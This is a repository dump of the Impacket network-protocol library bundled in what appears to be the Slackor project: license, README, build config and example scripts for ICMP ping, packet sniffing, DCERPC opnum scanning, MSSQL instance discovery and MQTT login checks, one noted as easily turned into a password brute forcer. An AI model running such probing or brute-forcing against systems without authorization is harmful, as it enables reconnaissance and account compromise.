24 | github.com/miekg/dns v1.1.15/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
25 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
26 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
27 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
28 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
29 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
30 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
31 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc=
32 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
33 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
34 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7 h1:rTIdg5QFRR7XCaK4LCjBiPbx8j4DQRpdYMnGn/bJUEU=
35 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
36 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
37 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
38 | golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7 h1:LepdCS8Gf/MVejFIt8lsiexZATdoGVyp5bcyS+rYoUI=
39 | golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
40 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
41 |
--------------------------------------------------------------------------------
/icon.example.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/icon.example.ico
--------------------------------------------------------------------------------
/impacket/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 |
5 | # C extensions
6 | *.so
7 |
8 | # Distribution / packaging
9 | .Python
10 | env/
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | *.egg-info/
23 | .installed.cfg
24 | *.egg
25 |
26 | # PyInstaller
27 | # Usually these files are written by a python script from a template
28 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
29 | *.manifest
30 | *.spec
31 |
32 | # Installer logs
33 | pip-log.txt
34 | pip-delete-this-directory.txt
35 |
36 | # Unit test / coverage reports
37 | htmlcov/
38 | .tox/
39 | .coverage
40 | .coverage.*
41 | .cache
42 | nosetests.xml
43 | coverage.xml
44 | *,cover
45 |
46 | # bak files
47 | *.bak
48 |
49 | # Translations
50 | *.mo
51 | *.pot
52 |
53 | # Django stuff:
54 | *.log
55 |
56 | # Sphinx documentation
57 | docs/_build/
58 |
59 | # PyBuilder
60 | target/
61 |
62 | # macOS
63 | .DS_Store
64 |
65 | # PyCharm
66 | .idea
67 |
--------------------------------------------------------------------------------
/impacket/.travis.yml:
--------------------------------------------------------------------------------
1 | group: travis_latest
2 | language: python
3 | cache: pip
4 |
5 | matrix:
6 | include:
7 | - python: 2.7
8 | env: NO_REMOTE=true, TOXENV=py27
9 | - python: 3.6
10 | env: NO_REMOTE=true, TOXENV=py36
11 | - python: 3.7
12 | env: NO_REMOTE=true, TOXENV=py37
13 | dist: xenial # required for Python >= 3.7
14 |
15 | install: pip install flake8 tox -r requirements.txt
16 |
17 | before_script:
18 | # stop the build if there are Python syntax errors or undefined names
19 | - flake8 . --count --select=E9,F72,F82 --show-source --statistics
20 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
21 | - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics
22 |
23 | script: tox
24 |
--------------------------------------------------------------------------------
/impacket/LICENSE:
--------------------------------------------------------------------------------
1 | Licencing
2 | ---------
3 |
4 | We provide this software under a slightly modified version of the
5 | Apache Software License. The only changes to the document were the
6 | replacement of "Apache" with "Impacket" and "Apache Software Foundation"
7 | with "SecureAuth Corporation". Feel free to compare the resulting
8 | document to the official Apache license.
9 |
10 | The `Apache Software License' is an Open Source Initiative Approved
11 | License.
12 |
13 |
14 | The Apache Software License, Version 1.1
15 | Modifications by SecureAuth Corporation (see above)
16 |
17 | Copyright (c) 2000 The Apache Software Foundation. All rights
18 | reserved.
19 |
20 | Redistribution and use in source and binary forms, with or without
21 | modification, are permitted provided that the following conditions
22 | are met:
23 |
24 | 1. Redistributions of source code must retain the above copyright
25 | notice, this list of conditions and the following disclaimer.
26 |
27 | 2. Redistributions in binary form must reproduce the above copyright
28 | notice, this list of conditions and the following disclaimer in
29 | the documentation and/or other materials provided with the
30 | distribution.
31 |
32 | 3. The end-user documentation included with the redistribution,
33 | if any, must include the following acknowledgment:
34 | "This product includes software developed by
35 | SecureAuth Corporation (https://www.secureauth.com/)."
36 | Alternately, this acknowledgment may appear in the software itself,
37 | if and wherever such third-party acknowledgments normally appear.
38 |
39 | 4. The names "Impacket", "SecureAuth Corporation" must
40 | not be used to endorse or promote products derived from this
41 | software without prior written permission. For written
42 | permission, please contact oss@secureauth.com.
43 |
44 | 5. Products derived from this software may not be called "Impacket",
45 | nor may "Impacket" appear in their name, without prior written
46 | permission of SecureAuth Corporation.
47 |
48 | THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
49 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
50 | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
51 | DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
52 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
53 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
54 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
55 | USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
56 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
57 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
58 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
59 | SUCH DAMAGE.
60 |
61 |
62 |
63 | Smb.py and nmb.py are based on Pysmb by Michael Teo
64 | (https://miketeo.net/projects/pysmb/), and are distributed under the
65 | following license:
66 |
67 | This software is provided 'as-is', without any express or implied
68 | warranty. In no event will the author be held liable for any damages
69 | arising from the use of this software.
70 |
71 | Permission is granted to anyone to use this software for any purpose,
72 | including commercial applications, and to alter it and redistribute it
73 | freely, subject to the following restrictions:
74 |
75 | 1. The origin of this software must not be misrepresented; you must
76 | not claim that you wrote the original software. If you use this
77 | software in a product, an acknowledgment in the product
78 | documentation would be appreciated but is not required.
79 |
80 | 2. Altered source versions must be plainly marked as such, and must
81 | not be misrepresented as being the original software.
82 |
83 | 3. This notice cannot be removed or altered from any source
84 | distribution.
85 |
--------------------------------------------------------------------------------
/impacket/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include MANIFEST.in
2 | include LICENSE
3 | include ChangeLog
4 | include requirements.txt
5 | include requirements_examples.txt
6 | include tox.ini
7 | recursive-include examples tests *.txt *.py
8 | recursive-include tests *
9 |
--------------------------------------------------------------------------------
/impacket/README.md:
--------------------------------------------------------------------------------
1 | What is Impacket?
2 | =================
3 |
4 | Impacket is a collection of Python classes for working with network
5 | protocols. Impacket is focused on providing low-level
6 | programmatic access to the packets and for some protocols (e.g.
7 | SMB1-3 and MSRPC) the protocol implementation itself.
8 | Packets can be constructed from scratch, as well as parsed from
9 | raw data, and the object oriented API makes it simple to work with
10 | deep hierarchies of protocols. The library provides a set of tools
11 | as examples of what can be done within the context of this library.
12 |
13 | A description of some of the tools can be found at:
14 | https://www.secureauth.com/labs/open-source-tools/impacket
15 |
16 | What protocols are featured?
17 | ----------------------------
18 |
19 | * Ethernet, Linux "Cooked" capture.
20 | * IP, TCP, UDP, ICMP, IGMP, ARP.
21 | * IPv4 and IPv6 Support.
22 | * NMB and SMB1, SMB2 and SMB3 (high-level implementations).
23 | * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP.
24 | * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.
25 | * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI.
26 | * Portions of TDS (MSSQL) and LDAP protocol implementations.
27 |
28 |
29 | Getting Impacket
30 | ================
31 |
32 | * [Current and past releases](https://github.com/SecureAuthCorp/impacket/releases)
33 | * [Trunk](https://github.com/SecureAuthCorp/impacket)
34 |
35 | Setup
36 | =====
37 |
38 | Quick start
39 | -----------
40 |
41 | Grab the latest stable release, unpack it and run `pip install .` from the directory where you placed it. Isn't that easy?
42 |
43 |
44 | Requirements
45 | ============
46 |
47 | * A Python interpreter. Python 2.6/2.7 and Python 3.6 are known to work.
48 | 1. If you want to run the examples and you have Python < 2.7, you
49 | will need to install the `argparse` package for them to work.
50 | 2. For Kerberos support you will need `pyasn1` package
51 | 3. For cryptographic operations you will need `pycryptodomex` package
52 | 4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py)
53 | 5. For ntlmrelayx.py you will also need `ldapdomaindump`, `flask` and `ldap3`
54 | 6. If you're under Windows, you will need `pyReadline`
55 | * A recent release of Impacket.
56 |
57 | Installing
58 | ----------
59 |
60 | In order to install the source execute the following command from the
61 | directory where the Impacket's distribution has been unpacked: `pip install .`
62 | This will install the classes into the default
63 | Python modules path; note that you might need special permissions to
64 | write there. For more information on what commands and options are
65 | available from setup.py, run `python setup.py --help-commands`.
66 |
67 | Testing
68 | -------
69 |
70 | If you want to run the library test cases you need to do mainly three things:
71 |
72 | 1. Install and configure a Windows 2012 R2 Domain Controller.
73 | * Be sure the RemoteRegistry service is enabled and running.
74 | 2. Configure the [dcetest.cfg](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/tests/SMB_RPC/dcetests.cfg) file with the necessary information
75 | 3. Install tox (`pip install tox`)
76 |
77 | Once that's done, you can run `tox` and wait for the results. If all goes well, all test cases should pass.
78 | You will also have a coverage HTML report located at `impacket/tests/htlmcov/index.html`
79 |
80 | Licensing
81 | =========
82 |
83 | This software is provided under under a slightly modified version of
84 | the Apache Software License. See the accompanying LICENSE file for
85 | more information.
86 |
87 | SMBv1 and NetBIOS support based on Pysmb by Michael Teo.
88 |
89 |
90 | Contact Us
91 | ==========
92 |
93 | Whether you want to report a bug, send a patch or give some
94 | suggestions on this package, drop us a few lines at
95 | oss@secureauth.com.
96 |
--------------------------------------------------------------------------------
/impacket/examples/esentutl.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Description:
9 | # ESE utility. Allows dumping catalog, pages and tables.
10 | #
11 | # Author:
12 | # Alberto Solino (@agsolino)
13 | #
14 | #
15 | # Reference for:
16 | # Extensive Storage Engine (ese)
17 | #
18 | from __future__ import division
19 | from __future__ import print_function
20 | import sys
21 | import logging
22 | import argparse
23 |
24 | from impacket.examples import logger
25 | from impacket import version
26 | from impacket.ese import ESENT_DB
27 |
28 |
29 | def dumpPage(ese, pageNum):
30 | data = ese.getPage(pageNum)
31 | data.dump()
32 |
33 | def exportTable(ese, tableName):
34 | cursor = ese.openTable(tableName)
35 | if cursor is None:
36 | logging.error('Can"t get a cursor for table: %s' % tableName)
37 | return
38 |
39 | i = 1
40 | print("Table: %s" % tableName)
41 | while True:
42 | try:
43 | record = ese.getNextRow(cursor)
44 | except Exception:
45 | logging.debug('Exception:', exc_info=True)
46 | logging.error('Error while calling getNextRow(), trying the next one')
47 | continue
48 |
49 | if record is None:
50 | break
51 | print("*** %d" % i)
52 | for j in list(record.keys()):
53 | if record[j] is not None:
54 | print("%-30s: %r" % (j, record[j]))
55 | i += 1
56 |
57 | def main():
58 | print(version.BANNER)
59 | # Init the example's logger theme
60 | logger.init()
61 |
62 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping "
63 | "catalog, pages and tables.")
64 | parser.add_argument('databaseFile', action='store', help='ESE to open')
65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
66 | parser.add_argument('-page', action='store', help='page to open')
67 |
68 | subparsers = parser.add_subparsers(help='actions', dest='action')
69 |
70 | # dump page
71 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
72 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump')
73 |
74 | # info page
75 | subparsers.add_parser('info', help='dumps the catalog info for the DB')
76 |
77 | # export page
78 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
79 | export_parser.add_argument('-table', action='store', required=True, help='table to dump')
80 |
81 | if len(sys.argv)==1:
82 | parser.print_help()
83 | sys.exit(1)
84 |
85 | options = parser.parse_args()
86 |
87 | if options.debug is True:
88 | logging.getLogger().setLevel(logging.DEBUG)
89 | else:
90 | logging.getLogger().setLevel(logging.INFO)
91 |
92 | ese = ESENT_DB(options.databaseFile)
93 |
94 | try:
95 | if options.action.upper() == 'INFO':
96 | ese.printCatalog()
97 | elif options.action.upper() == 'DUMP':
98 | dumpPage(ese, int(options.page))
99 | elif options.action.upper() == 'EXPORT':
100 | exportTable(ese, options.table)
101 | else:
102 | raise Exception('Unknown action %s ' % options.action)
103 | except Exception as e:
104 | if logging.getLogger().level == logging.DEBUG:
105 | import traceback
106 | traceback.print_exc()
107 | print(e)
108 | ese.close()
109 |
110 |
111 | if __name__ == '__main__':
112 | main()
113 | sys.exit(1)
114 |
--------------------------------------------------------------------------------
/impacket/examples/mqtt_check.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Author: Alberto Solino (@agsolino)
9 | #
10 | # Description:
11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password
12 | # brute forcer quite easily.
13 | #
14 | # Reference for:
15 | # MQTT and Structure
16 | #
17 | #
18 |
19 | from __future__ import print_function
20 |
21 | import argparse
22 | import logging
23 | import re
24 | import sys
25 |
26 | from impacket import version
27 | from impacket.examples import logger
28 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection
29 |
30 | class MQTT_LOGIN:
31 | def __init__(self, username, password, target, options):
32 | self._options = options
33 | self._username = username
34 | self._password = password
35 | self._target = target
36 |
37 | if self._username == '':
38 | self._username = None
39 |
40 | def run(self):
41 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl)
42 |
43 | if self._options.client_id is None:
44 | clientId = ' '
45 | else:
46 | clientId = self._options.client_id
47 |
48 | mqtt.connect(clientId, self._username, self._password)
49 |
50 | logging.info(CONNECT_ACK_ERROR_MSGS[0])
51 |
52 | if __name__ == '__main__':
53 | # Init the example's logger theme
54 | logger.init()
55 | print(version.BANNER)
56 | parser = argparse.ArgumentParser(add_help=False,
57 | description="MQTT login check")
58 | parser.add_argument("--help", action="help", help='show this help message and exit')
59 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
60 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)')
61 | parser.add_argument('-ssl', action='store_true', help='turn SSL on')
62 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)')
63 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
64 |
65 | try:
66 | options = parser.parse_args()
67 | except Exception as e:
68 | logging.error(str(e))
69 | sys.exit(1)
70 |
71 | if options.debug is True:
72 | logging.getLogger().setLevel(logging.DEBUG)
73 | else:
74 | logging.getLogger().setLevel(logging.INFO)
75 |
76 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
77 | options.target).groups('')
78 |
79 | #In case the password contains '@'
80 | if '@' in address:
81 | password = password + '@' + address.rpartition('@')[0]
82 | address = address.rpartition('@')[2]
83 |
84 | check_mqtt = MQTT_LOGIN(username, password, address, options)
85 | try:
86 | check_mqtt.run()
87 | except Exception as e:
88 | if logging.getLogger().level == logging.DEBUG:
89 | import traceback
90 | traceback.print_exc()
91 | logging.error(e)
92 |
--------------------------------------------------------------------------------
/impacket/examples/mssqlinstance.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Description: [MC-SQLR] example. Retrieves the instances names from the target host
9 | #
10 | # Author:
11 | # Alberto Solino (@agsolino)
12 | #
13 | # Reference for:
14 | # Structure
15 | #
16 |
17 | from __future__ import division
18 | from __future__ import print_function
19 | import argparse
20 | import sys
21 | import logging
22 |
23 | from impacket.examples import logger
24 | from impacket import version, tds
25 |
26 | if __name__ == '__main__':
27 |
28 | print(version.BANNER)
29 | # Init the example's logger theme
30 | logger.init()
31 |
32 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.")
33 |
34 | parser.add_argument('host', action='store', help='target host')
35 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')
36 |
37 | if len(sys.argv)==1:
38 | parser.print_help()
39 | sys.exit(1)
40 |
41 | options = parser.parse_args()
42 |
43 | ms_sql = tds.MSSQL(options.host)
44 | instances = ms_sql.getInstances(int(options.timeout))
45 | if len(instances) == 0:
46 | "No MSSQL Instances found"
47 | else:
48 | for i, instance in enumerate(instances):
49 | logging.info("Instance %d" % i)
50 | for key in list(instance.keys()):
51 | print(key + ":" + instance[key])
52 |
--------------------------------------------------------------------------------
/impacket/examples/opdump.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """opdump - scan for operations on a given DCERPC interface
3 |
4 | Usage: opdump.py hostname port interface version
5 |
6 | This binds to the given hostname:port and DCERPC interface. Then, it tries to
7 | call each of the first 256 operation numbers in turn and reports the outcome
8 | of each call.
9 |
10 | This will generate a burst of TCP connections to the given host:port!
11 |
12 | Example:
13 | $ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0
14 | op 0 (0x00): rpc_x_bad_stub_data
15 | op 1 (0x01): rpc_x_bad_stub_data
16 | op 2 (0x02): rpc_x_bad_stub_data
17 | op 3 (0x03): success
18 | op 4 (0x04): rpc_x_bad_stub_data
19 | ops 5-255: nca_s_op_rng_error
20 |
21 | rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an
22 | operation at that number.
23 |
24 | Author: Catalin Patulea
25 | """
26 | from __future__ import division
27 | from __future__ import print_function
28 | import sys
29 |
30 | from impacket.examples import logger
31 | from impacket import uuid
32 | from impacket.dcerpc.v5 import transport
33 |
34 |
35 | def main(args):
36 | if len(args) != 4:
37 | print("usage: opdump.py hostname port interface version")
38 | return 1
39 |
40 | host, port, interface, version = args[0], int(args[1]), args[2], args[3]
41 |
42 | stringbinding = "ncacn_ip_tcp:%s" % host
43 | trans = transport.DCERPCTransportFactory(stringbinding)
44 | trans.set_dport(port)
45 |
46 | results = []
47 | for i in range(256):
48 | dce = trans.get_dce_rpc()
49 | dce.connect()
50 |
51 | iid = uuid.uuidtup_to_bin((interface, version))
52 | dce.bind(iid)
53 |
54 | dce.call(i, "")
55 | try:
56 | dce.recv()
57 | except Exception as e:
58 | result = str(e)
59 | else:
60 | result = "success"
61 |
62 | dce.disconnect()
63 |
64 | results.append(result)
65 |
66 | # trim duplicate suffixes from the back
67 | suffix = results[-1]
68 | while results and results[-1] == suffix:
69 | results.pop()
70 |
71 | for i, result in enumerate(results):
72 | print("op %d (0x%02x): %s" % (i, i, result))
73 |
74 | print("ops %d-%d: %s" % (len(results), 255, suffix))
75 |
76 | if __name__ == "__main__":
77 | # Init the example's logger theme
78 | logger.init()
79 | sys.exit(main(sys.argv[1:]))
80 |
--------------------------------------------------------------------------------
/impacket/examples/ping.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Simple ICMP ping.
9 | #
10 | # This implementation of ping uses the ICMP echo and echo-reply packets
11 | # to check the status of a host. If the remote host is up, it should reply
12 | # to the echo probe with an echo-reply packet.
13 | # Note that this isn't a definite test, as in the case the remote host is up
14 | # but refuses to reply the probes.
15 | # Also note that the user must have special access to be able to open a raw
16 | # socket, which this program requires.
17 | #
18 | # Authors:
19 | # Gerardo Richarte
20 | # Javier Kohen
21 | #
22 | # Reference for:
23 | # ImpactPacket: IP, ICMP, DATA.
24 | # ImpactDecoder.
25 |
26 | import select
27 | import socket
28 | import time
29 | import sys
30 |
31 | from impacket import ImpactDecoder, ImpactPacket
32 |
33 | if len(sys.argv) < 3:
34 | print("Use: %s " % sys.argv[0])
35 | sys.exit(1)
36 |
37 | src = sys.argv[1]
38 | dst = sys.argv[2]
39 |
40 | # Create a new IP packet and set its source and destination addresses.
41 |
42 | ip = ImpactPacket.IP()
43 | ip.set_ip_src(src)
44 | ip.set_ip_dst(dst)
45 |
46 | # Create a new ICMP packet of type ECHO.
47 |
48 | icmp = ImpactPacket.ICMP()
49 | icmp.set_icmp_type(icmp.ICMP_ECHO)
50 |
51 | # Include a 156-character long payload inside the ICMP packet.
52 | icmp.contains(ImpactPacket.Data("A"*156))
53 |
54 | # Have the IP packet contain the ICMP packet (along with its payload).
55 | ip.contains(icmp)
56 |
57 | # Open a raw socket. Special permissions are usually required.
58 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
59 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
60 |
61 | seq_id = 0
62 | while 1:
63 | # Give the ICMP packet the next ID in the sequence.
64 | seq_id += 1
65 | icmp.set_icmp_id(seq_id)
66 |
67 | # Calculate its checksum.
68 | icmp.set_icmp_cksum(0)
69 | icmp.auto_checksum = 1
70 |
71 | # Send it to the target host.
72 | s.sendto(ip.get_packet(), (dst, 0))
73 |
74 | # Wait for incoming replies.
75 | if s in select.select([s],[],[],1)[0]:
76 | reply = s.recvfrom(2000)[0]
77 |
78 | # Use ImpactDecoder to reconstruct the packet hierarchy.
79 | rip = ImpactDecoder.IPDecoder().decode(reply)
80 | # Extract the ICMP packet from its container (the IP packet).
81 | ricmp = rip.child()
82 |
83 | # If the packet matches, report it to the user.
84 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
85 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id())
86 |
87 | time.sleep(1)
88 |
--------------------------------------------------------------------------------
/impacket/examples/ping6.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Simple ICMP6 ping.
9 | #
10 | # This implementation of ping uses the ICMP echo and echo-reply packets
11 | # to check the status of a host. If the remote host is up, it should reply
12 | # to the echo probe with an echo-reply packet.
13 | # Note that this isn't a definite test, as in the case the remote host is up
14 | # but refuses to reply the probes.
15 | # Also note that the user must have special access to be able to open a raw
16 | # socket, which this program requires.
17 | #
18 | # Authors:
19 | # Alberto Solino (@agsolino)
20 | #
21 | # Reference for:
22 | # ImpactPacket: ICMP6
23 | # ImpactDecoder.
24 |
25 | import select
26 | import socket
27 | import time
28 | import sys
29 |
30 | from impacket import ImpactDecoder, IP6, ICMP6, version
31 |
32 | print(version.BANNER)
33 |
34 | if len(sys.argv) < 3:
35 | print("Use: %s " % sys.argv[0])
36 | sys.exit(1)
37 |
38 | src = sys.argv[1]
39 | dst = sys.argv[2]
40 |
41 | # Create a new IP packet and set its source and destination addresses.
42 |
43 | ip = IP6.IP6()
44 | ip.set_ip_src(src)
45 | ip.set_ip_dst(dst)
46 | ip.set_traffic_class(0)
47 | ip.set_flow_label(0)
48 | ip.set_hop_limit(64)
49 |
50 | # Open a raw socket. Special permissions are usually required.
51 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
52 |
53 | payload = "A"*156
54 |
55 | print("PING %s %d data bytes" % (dst, len(payload)))
56 | seq_id = 0
57 | while 1:
58 | # Give the ICMP packet the next ID in the sequence.
59 | seq_id += 1
60 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)
61 |
62 | # Have the IP packet contain the ICMP packet (along with its payload).
63 | ip.contains(icmp)
64 | ip.set_next_header(ip.child().get_ip_protocol_number())
65 | ip.set_payload_length(ip.child().get_size())
66 | icmp.calculate_checksum()
67 |
68 | # Send it to the target host.
69 | s.sendto(icmp.get_packet(), (dst, 0))
70 |
71 | # Wait for incoming replies.
72 | if s in select.select([s],[],[],1)[0]:
73 | reply = s.recvfrom(2000)[0]
74 |
75 | # Use ImpactDecoder to reconstruct the packet hierarchy.
76 | rip = ImpactDecoder.ICMP6Decoder().decode(reply)
77 |
78 | # If the packet matches, report it to the user.
79 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type():
80 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number()))
81 |
82 | time.sleep(1)
83 |
--------------------------------------------------------------------------------
/impacket/examples/sniff.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Simple packet sniffer.
9 | #
10 | # This packet sniffer uses the pcap library to listen for packets in
11 | # transit over the specified interface. The returned packages can be
12 | # filtered according to a BPF filter (see tcpdump(3) for further
13 | # information on BPF filters).
14 | #
15 | # Note that the user might need special permissions to be able to use pcap.
16 | #
17 | # Authors:
18 | # Maximiliano Caceres
19 | # Javier Kohen
20 | #
21 | # Reference for:
22 | # pcapy: findalldevs, open_live.
23 | # ImpactDecoder.
24 |
25 | import sys
26 | from threading import Thread
27 | import pcapy
28 | from pcapy import findalldevs, open_live
29 |
30 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
31 |
32 |
33 | class DecoderThread(Thread):
34 | def __init__(self, pcapObj):
35 | # Query the type of the link and instantiate a decoder accordingly.
36 | datalink = pcapObj.datalink()
37 | if pcapy.DLT_EN10MB == datalink:
38 | self.decoder = EthDecoder()
39 | elif pcapy.DLT_LINUX_SLL == datalink:
40 | self.decoder = LinuxSLLDecoder()
41 | else:
42 | raise Exception("Datalink type not supported: " % datalink)
43 |
44 | self.pcap = pcapObj
45 | Thread.__init__(self)
46 |
47 | def run(self):
48 | # Sniff ad infinitum.
49 | # PacketHandler shall be invoked by pcap for every packet.
50 | self.pcap.loop(0, self.packetHandler)
51 |
52 | def packetHandler(self, hdr, data):
53 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy
54 | # of ImpactPacket instances.
55 | # Display the packet in human-readable form.
56 | print(self.decoder.decode(data))
57 |
58 |
59 | def getInterface():
60 | # Grab a list of interfaces that pcap is able to listen on.
61 | # The current user will be able to listen from all returned interfaces,
62 | # using open_live to open them.
63 | ifs = findalldevs()
64 |
65 | # No interfaces available, abort.
66 | if 0 == len(ifs):
67 | print("You don't have enough permissions to open any interface on this system.")
68 | sys.exit(1)
69 |
70 | # Only one interface available, use it.
71 | elif 1 == len(ifs):
72 | print('Only one interface present, defaulting to it.')
73 | return ifs[0]
74 |
75 | # Ask the user to choose an interface from the list.
76 | count = 0
77 | for iface in ifs:
78 | print('%i - %s' % (count, iface))
79 | count += 1
80 | idx = int(input('Please select an interface: '))
81 |
82 | return ifs[idx]
83 |
